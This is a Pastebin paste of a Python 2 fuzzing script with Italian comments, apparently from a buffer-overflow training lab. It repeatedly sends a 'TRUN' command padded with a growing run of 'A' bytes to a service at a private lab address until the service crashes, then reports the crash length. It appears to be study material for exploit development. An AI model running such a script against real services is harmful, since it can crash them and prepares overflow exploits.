ninjak

Untitled

Sep 29th, 2020 (edited)
43
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python # Dichiariamo che è uno script che utilizza il linguaggio PYTHON
  2.  
  3. import sys,socket # Invochiamo l'accesso al codice di un modulo ad un altro modulo (sys e socket)
  4. from time import sleep # Importiamo "sleep"
  5. buffer = "A" * 100 # All'interno di Buffer avremo la "A" ripetuta 100 volte
  6. while True: # Creiamo un loop costante se il valore booleano è true
  7. try:
  8.  
  9. # Creiamo un oggetto socket con i parametri AF_INET -> Indica Indirizzo IPv4 o Hostname e SOCK_STREAM -> Indica che vogliamo creare un socket TCP
  10.  
  11. s=socket.socket(socket.AF_INET ,socket.SOCK_STREAM)
  12.  
  13. # Invio della connessione alla Macchina Vulnerabile
  14.  
  15. s.connect(('192.168.178.38',9999))
  16.  
  17. # Send Over questo messaggio TRUN + buffer
  18.  
  19. s.send(('TRUN /.:/' + buffer))
  20.  
  21. # Chiusura della connessione
  22.  
  23. s.close()
  24.  
  25. # Blocco dell'esecuzione
  26.  
  27. sleep(1)
  28.  
  29. # Reinviamo un altro buffer
  30. # Per tutto il tempo in cui la connessione è stabilita continuiamo ad inviare il buffer 100, 200, 300 "A"
  31. buffer = buffer + "A"*100
  32.  
  33. # Una volta Crashato. Verificatasi l'eccezione…
  34.  
  35. except:
  36.  
  37. # Facciamo il Print del Buffer
  38.  
  39. print "Fuzzing crashed avvenuto al %s bytes" % str(len(buffer))
  40.  
  41. sys.exit()
RAW Paste Data